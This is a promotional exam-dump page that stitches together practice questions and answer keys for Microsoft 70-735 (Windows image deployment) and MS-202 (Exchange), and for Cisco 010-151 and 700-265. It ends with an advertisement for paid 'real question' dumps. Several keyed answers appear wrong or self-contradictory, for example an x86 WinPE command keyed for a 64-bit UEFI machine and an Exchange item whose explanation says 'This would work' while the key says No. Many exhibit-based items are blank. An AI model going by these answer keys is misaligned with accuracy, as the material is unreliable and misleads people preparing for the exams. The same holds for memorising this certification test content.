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Candidates for this exam are OEM, ODM, or IDH Windows image builders who are familiar with using the Windows Assessment and Deployment Kit (Windows ADK) to manage and deploy Windows 10. These candidates install or assemble hardware with genuine preinstalled Windows 10. These candidates also create complete images for deployment to customer devices such as desktops, laptops, and tablets.
Candidates for this exam should have at least one year of experience managing day-to-day issues involving Windows deployment. Candidates
should be familiar with the tools designed to deploy optimized hardware solutions for Microsoft platforms.
Microsoft 70-735 Skills measured
Prepare the Imaging Environment (20-25%)
Service the Offline Image (40-45%)
Service the Online Image (35-40%)
Latest effective Microsoft 70-735 Exam Practice Tests
QUESTION 1 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You are building a new image of Windows 10 that contains a push-button reset solution. You need to test whether push-button reset works as expected. Solution: From Windows 10, you press and hold the SHIFT key, and then you restart the computer. After the computer restarts, you click Troubleshoot, and then you click Reset this PC. Does this meet the goal? A. Yes B. No Correct Answer: A References: https://support.microsoft.com/en-us/help/12415/windows-10-recovery-options https://docs.microsoft.com/en- us/windows-hardware/manufacture/desktop/push-button-reset-overview
QUESTION 2 You have a computer that runs Windows 10. The computer starts in UEFI mode and has a 64-bit processor. You insert a USB key in the computer. The USB key has a drive letter of F. You need to ensure that you can start the computer by using Windows Preinstallation Environment (Windows PE) from the USB key. Which two commands should you run? Each correct answer presents part of the solution. NOTE: Each correct selection is worth one point. A. makewinpemedia.cmd /UFD C:\WinPe F: B. makewinpemedia.cmd /ISO C:\WinPe F: C. copype.cmd amd64 C:\WinPe D. dism.exe /Export-Image /SourceImageFile:C:\WinPE\boot.wim/SourceIndex:1/DestinationImageFile:F:\boot.wim E. copype.cmd x86 C:\WinPe Correct Answer: AE References: https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/winpe-create-usb-bootable-drive
QUESTION 3 For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct selection is worth one point. Hot Area:
QUESTION 4 You have a reference image of the 64-bit version of Windows 10. The reference image contains an application named App1. You need to ensure that App1 is pinned to the Start menu. Which tool or tools should you use to apply the custom Start layout to the image? A. image.exe and Windows Preinstallation Environment (Windows PE) B. dism.exe and File Explorer C. Microsoft Application Compatibility Toolkit (ACT) D. Windows System Image Manager (Windows SIM) Correct Answer: D References: https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/customize-the-start-screen
QUESTION 5 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You are configuring a reference computer for a new UEFI-based deployment image of the 64-bit version of Windows 10. The reference computer has two physical hard disk drives. You need to configure a partition on Disk 0 to support a recovery partition. Solution: You create a primary partition of 250 MB that uses the NTFS file system. Does this meet the goal? A. Yes B. No Correct Answer: B This partition must be at least 300 MB References: https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/configure-uefigpt-based-hard- drive-partitions
QUESTION 6 You plan to deploy an image of Windows 10 to several computers by using an answer file. You need to identify which configuration pass you must use to configure each of the following settings: Manufacturer in the Microsoft-Windows-Shell-Setup component. UILanguage in the Microsoft-Windows-International-Core component Which configuration pass should you use for each setting? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point. Hot Area:
Correct Answer:
QUESTION 7 You have an image of Windows 10. You obtain a feature update for Windows 10. You need to include the feature update in the image. The solution must minimize the size of the image. What should you do? A. Mount the image. Run dism.exe /Add-Package, and then run dism.exe /Optimize-Image. Unmount the image. B. Deploy the image to a computer. Install the feature update. Optimize the drive, and then capture the image. C. Download the new installation media for Windows 10. Install Windows 10 on a computer, and then capture the image. D. Mount the image. Run dism.exe /Add-Package, and then run dism.exe /Cleanup-Wim. Unmount the image. Correct Answer: C
QUESTION 8 You have a server named Server1 that runs Windows Server 2016. Server1 is located on a network that is disconnected from the Internet. You have a computer named Computer1 that runs Windows 10. You download the Windows Assessment and Deployment Kit (Windows ADK) setup on Computer1. You need to create an installation source on a USB drive that can be used to install Windows ADK on Server1. Which installation option should you use when you run the Windows ADK setup on Computer1? A. /list B. /layout C. /ceip D. /features E. /installpath Correct Answer: B References: https://technet.microsoft.com/en-gb/library/dn621908.aspx
QUESTION 9 You use an answer file to automate the installation of Windows 10. You need to add your company\\’s support information to computers that you deploy. Which component should you add to the answer file? A. Microsoft-Windows-Setup B. Microsoft-Windows-PnpCustomizationsNonWinPE C. Microsoft-Windows-Shell-Setup D. Microsoft-Windows-Deployment Correct Answer: C References: https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-shell- setup-oeminformation
QUESTION 10 You have a reference computer that runs Windows 10. The computer contains a provisioning package named Package1.ppkg. Package1.ppkg is located in C:\Packages\. You plan to create an image of the reference computer. You run sysprep.exe on the computer, and then you start the computer by using Windows Preinstallation Environment (Windows PE). You need to ensure that the image uses the least amount of disk space possible. How should you complete the command? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point. Hot Area:
Correct Answer:
QUESTION 11 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You are building a new image of Windows 10 that contains a push-button reset solution. You need to test whether push-button reset works as expected. Solution: From Windows 10, you open the Settings app, you click Update and security, and then you click Recovery. From Reset this PC, you click Get Started. Does this meet the goal? A. Yes B. No Correct Answer: A References: https://support.microsoft.com/en-us/help/12415/windows-10-recovery-options https://docs.microsoft.com/en- us/windows-hardware/manufacture/desktop/push-button-reset-overview
QUESTION 12 Note: This question is part of a series of questions that use the same or similar answer choices. An answer choice may be correct for more than one question in the series. Each question is independent of the other questions in this series. Information and details provided in a question apply only to that question. You have a computer named Computer1 that runs Windows 10. Computer1 has the Windows Assessment and Deployment Kit (Windows ADK) installed. You are building a new image of Windows 10. You need to specify how the hard disk will be partitioned during the Windows 10 installation. What should you do? A. Mount the Install.wim file. B. Mount the Boot.wim file. C. Modify the Winpeshl.ini file. D. Create an answer file. E. Modify the Windows.ini file. F. Create a provisioning package. G. Load a catalog file (.clg). H. Create a cabinet file (.cab). Correct Answer: D
QUESTION 13 Note: This question is part of a series of questions that use the same or similar answer choices. An answer choice may be correct for more than one question in the series. Each question is independent of the other questions in this series. Information and details provided in a question apply only to that question. You have an image of Windows 10 for a new desktop computer model. You plan to deploy the computer to two regions. You need to add a language interface pack to the image. Which parameter should you specify when you run dism.exe? A. /Add-Capability B. /Add-Driver C. /Add-Package D. /Add-ProvisionedAppxPackage E. /Apply-CustomDataImage F. /Apply-Image G. /Apply-Unattend H. /Export-Image Correct Answer: C References: https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/add-and-remove-language- packs-offline-using-dism
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This exam is intended only for candidates who have taken Exam 70-345: Designing and Deploying Microsoft Exchange Server 2016. If you have not taken Exam 345, you will not earn a certification by taking this exam.
Candidates for this exam are Messaging Administrators who deploy, configure, manage, troubleshoot, and monitor recipients, permissions, mail protection, mail flow, and public folders in both on-premises and cloud enterprise environments.
Messaging Administrators are responsible for managing hygiene, messaging infrastructure, hybrid configuration, migration, disaster recovery, high availability, and client access.
Messaging Administrators collaborate with the Security Administrator and Microsoft 365 Enterprise Administrator to implement a secure hybrid topology that meets the business needs of a modern organization.
The Messaging Administrator should have a working knowledge of authentication types, licensing, and integration with M365 applications.
Plan and implement a hybrid configuration and migration (20-25%)
Secure the messaging environment (35-40%)
Latest effective Microsoft MS-202 Exam Practice Tests
QUESTION 1 You have a hybrid deployment of Microsoft Exchange Server 2019 and Microsoft Office 365. In Exchange Online, you create an archive mailbox for each user. Users who have a mailbox in the on-premises Exchange organization report that they cannot access their archive mailbox. You verify that users who have a mailbox in Office 365 can access their archive mailbox successfully. You need to resolve the issue. What should you modify? A. the sharing policy B. the mailbox permissions C. the organization relationship D. the device tenant policy Correct Answer: C References: https://docs.microsoft.com/en-us/powershell/module/exchange/sharing-and-collaboration/set- organizationrelationship?view=exchange-ps
QUESTION 2 You need to recommend a deployment plan that meets the technical requirements for the mailbox databases. What should you include in the recommendation? A. Deploy 10 Exchange servers to the main office and one Exchange server to each branch office. Create two mailbox databases on each server. B. Deploy one Exchange server to each office. Create two mailbox databases on each server. Create copies of the databases on another server. C. Deploy 11 Exchange servers to the main office and one Exchange server to each branch office. Create one mailbox database on each server. D. Deploy one Exchange server to the main office and two Exchange servers to each branch office. Create one mailbox database on each server. Correct Answer: B
QUESTION 3 You have a Microsoft Exchange Server 2019 organization that has the topology shown in the following exhibit.
The organization contains the servers shown in the following table.
The organization contains the mailboxes shown in the following table.
For each of the following statements, select Yes if the statement is true. Otherwise, select No. Hot Area:
QUESTION 4 You have a Microsoft Exchange Server 2013 organization that has the following configurations: The forest functional level of Active Directory is Windows Server 2008 R2 The domain controllers in Active Directory Windows Server 2012 R2. The Exchange servers run Windows Server 2012 Datacenter You plan to upgrade the organization to Exchange Server 2019. You need to ensure that the organization meets the minimum supported requirements for the upgrade. What should you do? A. Raise the forest functional level to Windows Server 2012 R2 B. Upgrade the domain controllers to Windows Server 2016 C. Upgrade the Exchange servers to Windows Server 2016 D. Upgrade the Exchange servers to Windows Server 2019 Correct Answer: A References: https://docs.microsoft.com/en-us/exchange/plan-and-deploy/system-requirements?view=exchserver-2019
QUESTION 5 You have a Microsoft Exchange Server 2019 hybrid deployment that contains the users shown in the following table.
You need to provide each user with an archive mailbox that is stored in Exchange Online. Which admin center should you use to perform the configuration for each user? To answer, drag the appropriate admin centers to the correct users. Each admin center may be used once, or not at all. You may to drag the split bar between the panes or scroll to view content. NOTE: Each correct selection is worth one point. Select and Place:
Correct Answer:
QUESTION 6 You need to implement a solution that meets the technical requirements for the retention of junk email, sent items, and deleted items. What is the minimum number of retention policies and retention tags you should use? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point. Hot Area:
Correct Answer:
QUESTION 7 Your company has a Microsoft Exchange Server 2019 organization. You are auditing the litigation hold on the mailboxes of the company\\’s research and development department. You discover that the mailbox of a user named User1 has a Litigation Hold enabled. You need to discover who placed the Litigation hold on the mailbox of User1, and when the Litigation Hold was enabled. Which two actions should you perform? Each correct answer presents part of the solution. NOTE: Each correct selection is worth one point. A. From the Exchange admin center, run an In-place eDiscovery and Hold report. B. From the Exchange admin center, run a per-mailbox Litigation Hold report. C. From PowerShell, run the Get-MailboxStatistics cmdlet. D. From PowerShell, run the Get-Mailbox cmdlet. Correct Answer: BC
QUESTION 8 Your network contains an Active Directory domain named Fabrikam.com. You have a Microsoft Exchange Server 2019 organization that contains two Mailbox servers. The servers are members of a database availability group (DAG). You plan to implement an Exchange hybrid deployment. You are evaluating the use of the Exchange Modern Hybrid connection option during the hybrid deployment. What are two benefits of using Exchange Modern Hybrid instead of Exchange Classic Hybrid? Each correct answer presents part of solutions. NOTE: Each correct selection is worth one point. A. uses Organization Configuration Transfer to configure Exchange Online B. allows federated sharing between the on-premises organization and Exchange Online C. allows the use of Microsoft Azure Multi-Factor Authentication (MFA) for on-premises users D. eliminates the need to purchase publicly trusted certificates for communication between the on-premises organization and Exchange Online E. preserves mailbox quotas when mailboxes are moved between the on-premises organization and Exchange Online Correct Answer: AD
QUESTION 9 You need to recommend a solution to meet the technical requirements for the managers. What should you recommend creating for the mailboxes of the managers? A. a transport agent B. a separate Exchange server C. a separate mailbox database D. an audit policy Correct Answer: C
QUESTION 10 You have a Microsoft 365 subscription that uses a default domain named contoso.com. Users report that email messages from a domain named fabrikam.com are identified as spam even though the messages are legitimate. You need to prevent messages from fabrikam.com from being identified as spam. What should you do? A. Edit the default mail flow rule to bypass the spam filter. B. Create a new remote domain. C. Edit a spam filter policy. D. Create a new malware filter policy. Correct Answer: C
QUESTION 11 Use the drop-down menus to select the answer choice that completes each statement based on the information presented in the graphic. NOTE: Each correct selection is worth one point. Hot Area:
Correct Answer:
QUESTION 12 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than once correct solution, while others might not have a correct solution. After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You have a Microsoft Exchange server 2019 organization. You discover that users rarely delete items from their Sent Items folder and their Deleted Items folder. You need to recommend a solution to automatically reduce the size of the primary mailbox of each user. Solution: You recommend configuring a retention policy that contains two default policy tags. Does this meet the goal? A. Yes B. No Correct Answer: B This would work and it needs no user intervention but it would apply to all folders. Furthermore, you only need one default tag, not two.
QUESTION 13 You have a Microsoft Exchange Server 2019 organization that contains 5,000 mailboxes. You purchase a Microsoft 365 E5 subscription and create a hybrid deployment. You configure all MX records to point to Exchange Online. You purchase 2,000 Microsoft 365 E5 licenses, and you migrate 2,000 mailboxes to Exchange Online. You need to identify which additional licenses must be purchased. The solution must minimize costs. Which licenses should you identify? A. an Exchange Online Protection (EOP) license for each on-premises mailbox B. Microsoft Office 365 Enterprise E1 licenses for the on-premises users C. Enterprise Mobility + Security E5 licenses for the Exchange Online users D. Microsoft Azure Active Directory Premium P2 licenses for all users Correct Answer: B References: https://products.office.com/en-gb/business/compare-more-office-365-for-business-plans
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The Cisco Certified Technician (CCT) for Data Center validates a technician’s competency in the following areas
Basic Cisco NX-OS configuration
Cisco Data Center products and hardware components with an emphasis on the Cisco Unified Computing System (UCS).
The curriculum covers remedial services (HW break fix) on Cisco Data Center products, including hardware replacement,software and configuration backup and restore, check safety and environmental requirement, recognize connection type and cable requirement, and perform basic physical layer troubleshooting. The Cisco Certified Technician (CCT) should be competent in the following areas; basic Cisco NX-OS configuration, Cisco Data Center products and hardware components.
The Cisco Certified Technician should be able to perform remedial services (HW break fix) on Cisco Data Center products,including software and configuration backup and restore, check safety and environmental requirement, recognize connection type and cable requirement, and perform basic physical layer troubleshooting.
Latest effective Cisco 010-151 Exam Practice Tests
QUESTION 1 Which three components are hot swappable in a Cisco UCS Blade Server and Chassis? (Choose three.) A. Fabric Extender B. Power supply C. Heat sink D. SAS Hard Drive E. 2x8GB Kit DIMMs F. Mezzanine card Correct Answer: ABD
QUESTION 2 Refer to the exhibit.
Which item does F represent? A. HDD 1 B. TFP Module C. SuperCap Module D. CPU 2 E. CMOS Battery Correct Answer: D
QUESTION 3 Refer to the exhibit.What is the name of this rack-mount server? A. Cisco UCS C220 Rack-Mount Server B. Cisco UCS C240 Rack-Mount Server C. Cisco UCS C420 Rack-Mount Server D. Cisco UCS C460 Rack-Mount Server Correct Answer: C
QUESTION 4 Which two commands display the version of Cisco NX-OS code that the device is currently running on? (Choose two.) A. show version B. show module C. show interface D. show boot E. show license Correct Answer: AB
QUESTION 5 Refer to the exhibit.Which statement correctly identifies the front panel LEDs on the Cisco UCS C220 Server? A. A is power button and power status LED; B is identification button and LED; C is system status LED; D is network link activity LED. B. A is network link activity LED; B is system status LED; C is power button and power status LED; D is identification button and LED. C. A is system status LED; B is network link activity LED; C is power button and power status LED; D is identification button and LED. D. A is network link activity LED; B is system status LED; C is identification button and LED; D is power button and power status LED. Correct Answer: A
QUESTION 6 Which fiber optic cable type is used most often with a Subscriber connector? A. dual-mode B. single-mode C. straight-mode D. multi-mode E. subscriber-mode Correct Answer: B
QUESTION 7 Which method does FCIP use to enable connectivity of geographically distributed Fibre Channel SANs over IP? A. routing B. tunneling C. handshaking D. transporting Correct Answer: B
QUESTION 8 To do a password recovery on a Cisco NX-OS Switch, which option shows the correct syntax to display the bootflash contents at the switch(boot)#? A. display bootflash: B. show bootflash: C. dir bootflash: D. find bootflash: Correct Answer: C
QUESTION 9 Which two statements about DIMM replacement in Cisco UCS Servers are true? (Choose two.) A. In blade servers, DIMMs can be installed in either 1, 2, 4, or 8 DIMMs per channel. B. Rack-mount and blade servers have memory fault LEDs that indicate which DIMM requires attention. C. In servers that require pairs of DIMMs, the pairs must be identical (manufacturer, size, part #, and so on). D. If the memory in a server is not fully populated, you can install DIMMs in any open slot. Correct Answer: AC
QUESTION 10 Which two statements about the Cisco Nexus 5596UP switch are true? (Choose two.) A. Its power supplies and fan trays are hot-swappable. B. It supports unified ports. C. It is offered in a one-rack-unit form factor. D. It has one expansion slot. E. It supports up to 96 10G BASE-T ports. Correct Answer: AB
QUESTION 11 Which two Cisco Nexus switches provide the foundation of the Cisco Application Centric Infrastructure? (Choose two.) A. Cisco Nexus 7718 switch B. Cisco Nexus 9508 switch C. Cisco Nexus 7710 switch D. Cisco Nexus 93128TX switch E. Cisco Nexus 6004 switch Correct Answer: BD
QUESTION 12 Which three firmware components does the Host Upgrade Utility upgrade? (Choose three.) A. Fabric Interconnect firmware B. LAN on Motherboard C. Cisco UCS Manager D. CIMC E. System BIOS Correct Answer: BDE
QUESTION 13 Refer to the exhibit.Which option should you select to get the output of the show tech-support detail command for the Cisco UCS B-Series blade? A. A – ucsm B. B – chassis C. C – fabric-extender D. D – rack-server Correct Answer: B
QUESTION 14 Refer to the exhibit.Which three options are features of the Cisco UCS 6248UP Fabric Interconnect front panel? (Choose three.) A. Console port B. FCoE port C. 10 Gb/s port D. Fan module E. USB port Correct Answer: ADE
QUESTION 15 Which command can be used to exit to EXEC mode from this current mode? switch(config-if) # A. Ctrl-C B. Ctrl-L C. quit D. exit E. end Correct Answer: E
QUESTION 16 Which supervisor module is supported by a Cisco Nexus 7700 Series Switch? A. first-generation supervisor module B. second-generation supervisor module (Sup2) C. second-generation supervisor enhanced module (Sup2E) D. third-generation supervisor enhanced module (Sup3E) Correct Answer: C
QUESTION 17 What is the wire transmission speed for 100GBASE-ER4 Ethernet? A. 100 Mb/s B. 1 Gb/s C. 10 Gb/s D. 100 Gb/s Correct Answer: D
QUESTION 18 On the Sensors page from the CIMC view, which four tabs are displayed to view further information? (Choose four.) A. Power Supply B. Fan C. Memory D. CPU E. LEDs F. Temperature Correct Answer: ABEF
QUESTION 19 What is the correct path to verify the Overall Status of Chassis 1 | Server 3? A. Equipment Tab > Chassis > Chassis 1 > Servers > Server 3 Status tab B. Equipment Tab > Chassis > Chassis 1 > Servers > Server 3 General tab C. Equipment Tab > Chassis > Chassis 1 > Servers > Server 3 FSM tab D. Servers Tab > Chassis > Server 3 General tab E. Status Tab > Chassis > Chassis 1 > Servers > Server 3 F. Admin Tab > Chassis > Chassis 1 > Servers > Server 3 General tab Correct Answer: B
QUESTION 20 Which two statements about the Ethernet media are true? (Choose two.) A. A twisted-pair cable system has each pair of wires twisted together to reduce electromagnetic interference. B. Compared to multimode fiber, the single-mode fiber is designed for shorter distances with higher cost. C. 40 Gigabit Ethernet twinax cables deploy Enhanced Quad Small Form Factor Pluggable (QSFP+) connectors. D. The twinax cables can be found in either a shielded twisted-pair or an unshielded twisted-pair variation. Correct Answer: AC
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Latest effective Cisco 700-265 Exam Practice Tests
QUESTION 1 Which component of Cisco Stealthwatch uses sophisticated security analytics to accelerate threat response time? A. network control B. investigation C. threat protection D. anomaly detection E. granular visibility Correct Answer: B
QUESTION 2 Which three options are Cisco Advanced Threat Solutions? (Choose three.) A. Next-Generation Intrusion Prevention System B. Stealthwatch C. remote access VPN D. identity and access control E. web security F. cognitive Threat analytics Correct Answer: ADF
QUESTION 3 Which Cisco security technology delivers the best real-time threat intelligence? A. Cisco Security Intelligence Operations B. Cisco ASA Next-Generation Firewall Services C. Cisco Identity Services Engine D. Cisco Security Manager E. Cisco TrustSec Correct Answer: A
QUESTION 4 Which two attack vectors are protected by cloud app security? (Choose two.) A. mobile B. cloud apps C. voicemail D. email E. campus and branch Correct Answer: AD
QUESTION 5 Which two Cisco business values demonstrate features of end-to-end protection and protection across the attack continuum? (Choose two.) A. completeness B. cost effectiveness C. protection D. control E. flexibility Correct Answer: BD
QUESTION 6 How does Cisco TrustSec help secure sensitive data and regulating network access? A. email security B. leverage file reputation C. ensure compliance D. provide customer choice E. traffic tagging Correct Answer: C
QUESTION 7 In addition to protection, control, and flexibility, which two business values are included in Cisco value propositions? (Choose two.) A. Support B. Completeness C. Cost effectiveness D. Scalability E. Integration Correct Answer: BC
QUESTION 8 Which ISR appliance di you use if your customer is a small business that requires integrated switching and routing and WAN redundancy? A. FirePower 8000 secirs B. Cisco 4000 Series ISR C. Cisco 800 Series ISR D. FirePower 7000 Series E. FirePower 2100 Series Correct Answer: C
QUESTION 9 Which trait of Cisco security solutions addresses the worry that a customer\\’s security provider will leave the market or reach end-of-life? A. familiarity B. functionality C. robustness D. cost E. stability Correct Answer: E
QUESTION 10 Which Cisco business values are demonstrated by increased employee productivity, confidence in data confidentiality, and increased visibility? A. protection B. completeness C. cost effectiveness D. control E. flexibility Correct Answer: D
QUESTION 11 Which two aspects of Cisco solutions save customers money? (Choose two.) A. 100 percent effectiveness B. Faster integration C. Fewer resources to manage D. Lowest-cost solutions E. Incentives programs F. Complete replacement of current infrastructure Correct Answer: BC
QUESTION 12 Which NGIPS appliance do you use if you customer is at the enterprise level and requires modular architecture that is scalable? A. FirePOWER 2100 Series B. ASA 7000 Series C. FirePOWER 8000 Series D. Cisco 4000 Series ISR E. Cisco 800 Series ISR Correct Answer: C
QUESTION 13 Which option describes how partners can help customers using their unique relationship with Cisco award-winning resources and support? A. Be the first to receive new innovations B. Take advantage of incentives programs C. Access 24-hour support around the word D. Earn higher margins on each deal sold Correct Answer: C
QUESTION 14 Which phase of the software lifecycle deals with anticipating customer needs and bundling and adding products accordingly? A. plan and supply B. upsell and cross sell C. renew D. land and expand E. know and grow Correct Answer: B
QUESTION 15 Which three options are products and benefits of the mobile threat-centric solution? (choose three) A. AnyConect B. URL filter C. Enhanced access and usage control with ISE D. Enforced device security policies with Meraki E. Secure off-network connection with Stealthwatch F. CRD and network Analytics Correct Answer: ABC
QUESTION 16 How does the Cisco policy and access solution handle a changing user base in growing company? A. Cisco delivers a flexible and scalable security solution framework that can adapt to changing customer needs. B. Cisco architecture offers the lowest TCO by providing product that integrate, which lowers the cost of IT setup, management, and maintenance. C. Cisco Talos Security Intelligence and Research Group integrates into all security solutions, which provides advanced protection against new threats. D. Cisco provides you the ability to monitor and restrict application usage. As applications become more complex, Cisco provides the flexibility to control all or subsets of the application. Correct Answer: C
QUESTION 17 Which three options are a result of utilizing a fragmented security model? (Choose three.) A. additional fragmentation that reduces the risk from malicious files B. fragmented security that provides disbursed protection C. decreased network accessibility through multiple applications D. patchworked applications that continually increase in complexity E. individual components pieced together that are incompatible F. multiple points of access that can be exploited by cyber criminals Correct Answer: AEF
QUESTION 18 Which two options are products and benefit of the campus and branch threat-centric solutions? (choose two) A. Trojan and malware protection with NGIPS B. Enhanced zero-day and DDoS attacks through NGFW C. Cloud security policy management through CDO D. Fuzzy fingerprint E. Trusted security Correct Answer: AB
QUESTION 19 Which issue do customers with vulnerable cloud issues deal with (choose three) A. invisible employee apps usage B. appropriate level of access C. solution that does not extend to cloud D. lack of protection from cloud apps E. complex mobile management F. expensive malware attacks Correct Answer: BEF
QUESTION 20 Which three options are Cisco industry differentiators? (choose three) A. uncontested threat blocking B. unparalleled commitment to security C. unmatched support and services D. lowest price E. largest selection of security solutions F. best-in-class technologies Correct Answer: BCF
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20 Cisco Specialist 700-265 Exam Practice questions and answers have let you know your strength,if you are only interested then please pay attention to us! If you would like to pass the exam, please select our recommended Pass4itsure 700-265 dumps. In this article we have created PDF and YouTube for everyone to learn from.Like friends please add to favorites! We update all year round! Share more effective and up-to-date exam dumps for free!
Pass4itsure is the best provider of IT learning materials and the right choice for you to prepare for Cisco 700-265 exam. Other brands started earlier, but the price is relatively expensive and the questions are not the newest. Pass4itsure provide the latest real questions and answers with lowest prices, help you pass 700-265 exam easily at first try.
Maybe you might like the exam questions and answers
What is the name of this rack-mount server? 
Which statement correctly identifies the front panel LEDs on the Cisco UCS C220 Server? 
Which option should you select to get the output of the show tech-support detail command for the Cisco UCS B-Series
Which three options are features of the Cisco UCS 6248UP Fabric Interconnect front panel? (Choose three.)